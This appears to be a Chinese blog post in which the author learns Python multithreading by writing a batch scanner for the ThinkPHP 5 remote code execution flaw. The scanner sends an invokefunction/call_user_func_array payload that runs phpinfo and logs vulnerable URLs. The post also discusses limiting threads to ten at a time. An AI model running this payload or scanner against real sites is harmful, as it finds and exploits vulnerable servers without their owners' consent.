很久以前一直想要學習python多線程腳本的編寫,奈何學習能力太差了,一直沒能理解其中的知識,這次下定決心學習一下多線程腳本的實現,因爲這個功能實在是太重要了,一個腳本運行速度的快慢,對你工作的效率起着決定性的作用。所以,學會多線程迫在眉睫。
這裏記錄一下我寫的第一個多線程腳本,關於線程我就不說了,網上有很多教程,這個旨在記錄我學習理解的多線程並實現腳本的編寫。
這是一個tp5的一個遠程代碼執行的poc,實現的是批量掃描是否存在這個漏洞,主要代碼:
# -*- coding:UTF-8 -*-
import requests
import sys
import threading
def check(url):
parameters = "s=index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1"
try:
responce = requests.get(url = url, params = parameters)
body = responce.text
if body.find('PHP Extension') != -1:
with open("success.txt", "a") as f1:
f1.write(url + "\n")
print("[+] " + url)
else:
print("[-] " + url)
except:
print("Failed connect")
pass
threads = []
with open(sys.argv[1], "r") as f:
for url in f.readlines():
url = url.strip()
t = threading.Thread(target=check, args=(url, ))
threads.append(t)
if __name__ == '__main__':
n = 0
while n < len(threads):
for i in threads[n:n+10]:
i.start()
for i in threads[n:n+10]:
i.join() #join方法的作用是阻塞,等待子線程結束,join方法有一個參數是timeout,即如果主線程等待timeout,子線程還沒有結束,則主線程強制結束子線程
n += 10 #python 默認參數創建線程後,不管主線程是否執行完畢,都會等待子線程執行完畢一起退出,有無join結果是一樣的。
check函數就是用來發起requests請求,發送相關poc進行驗證是否存在tp5這個漏洞。
打開存放url的文件,然後循環創建線程,將創建好的線程放在threads這個列表中。
with open(sys.argv[1], "r") as f:
for url in f.readlines():
url = url.strip()
t = threading.Thread(target=check, args=(url, ))
threads.append(t)
然後在主函數中調用這些線程出來 start即可
我遇到的問題就是不一次性 start 所有的線程,想通過某種方法限制線程的數量,實現可控的多線程數量。
這裏我想到了使用一個變量來控制這個數量
if __name__ == '__main__':
n = 0
while n < len(threads):
for i in threads[n:n+10]:
i.start()
for i in threads[n:n+10]:
i.join()
n += 10
在這個代碼中,我設置了變量n初始值爲0。想要線程數爲10,在for循環當中只需 n+10,然後每執行完10個線程過後,將n加上10,這樣就實現了每次運行的線程數爲10的效果。然後根據需要,這個線程數是可以設置的。
這是我對我寫的第一個多線程掃描腳本的一個記錄,它的一個效果就是每次只執行10個線程(這個10是針對我提供的腳本而言),當10個線程都執行完了之後纔會繼續執行另10個線程。
但是學長提醒我的一個思路就是:先執行10個線程,然後記錄每一個線程,如果一個線程的函數執行完畢,那麼運行的線程數 -1,反之,增加一個線程,運行的線程數 +1。每次執行函數前,先判斷線程數是否爲10,如果小於10,繼續添加線程,保證每次運行的線程數都是10。
學長的這個思路效果更優,就避免了我這種寫法的一個弊端:同時運行10個線程,有的線程先完成,然後等剩餘的完成了之後,纔會開始下一次的10個線程。 中間還是縮短了一些時間的,這種的話要在掃描更多的內容的時候纔會感受的出來。
後面思考一下,看能否實現。
上面提出的問題,後面使用semaphore實現了多線程控制線程數:https://blog.csdn.net/qq_39850969/article/details/86666620
如果有表哥有什麼更好的建議或者發現有錯誤請在下面留言。